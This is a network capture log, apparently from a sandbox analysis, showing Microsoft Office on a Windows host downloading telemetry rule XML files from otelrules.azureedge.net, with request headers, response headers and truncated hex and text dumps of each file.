2024-10-18 21:46:45 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:44 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:45 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:45 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 10952a79-501e-007b-7ed8-1e5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214645Z-16b659b4499z4tq4vyreufa8gn00000008c000000000ksps x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:45 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:44 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:45 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:45 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 0c00f04d-601e-0084-4dd8-1e6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214645Z-16b659b4499v5jm96nrcwszga00000000am0000000004xu8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:45 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:45 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:45 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:45 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: afc125f3-101e-0034-63d8-1e96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214645Z-16b659b4499rgn6gzhcff90q8g0000000bu000000000ezs9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:45 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:46 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:46 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:46 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: caad5b66-c01e-0034-07d8-1e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214646Z-16b659b4499t9g2t855zkdgzd00000000cc00000000027db x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:46 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:46 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:46 UTC	564	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:46 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 51686f2e-401e-0067-01a7-2109c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214646Z-r197bdfb6b487xlkrahepdse5000000000s00000000041mb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-18 21:46:46 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:46 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:46 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:46 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a7e9f920-901e-005b-7bd8-1e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214646Z-16b659b4499v5jm96nrcwszga00000000adg00000000vkqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:46 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:46 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:46 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:46 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: f0026cca-001e-0079-60d8-1e12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214646Z-r197bdfb6b4tq6ld2w31u8wmcc0000000c900000000063f5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:46 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:46 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:46 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:46 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 605c6e26-301e-003f-08d8-1e266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214646Z-r197bdfb6b4cz6xrsdncwtgzd40000000c5000000000tu9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:46 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:47 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:47 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:47 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: a7e9faf1-901e-005b-2ed8-1e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214647Z-16b659b4499stprh7pcpsc0x3n0000000cxg000000007du4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:47 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:47 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:47 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:47 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 43a06c32-101e-008e-71d8-1ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214647Z-16b659b4499k2xzwvf7uk78sfs0000000ch000000000wzym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:47 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:47 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:47 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:47 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 650ae78a-a01e-003d-13d8-1e98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214647Z-r197bdfb6b4gdlhqw6kbe0ekvs000000028g00000000gvez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
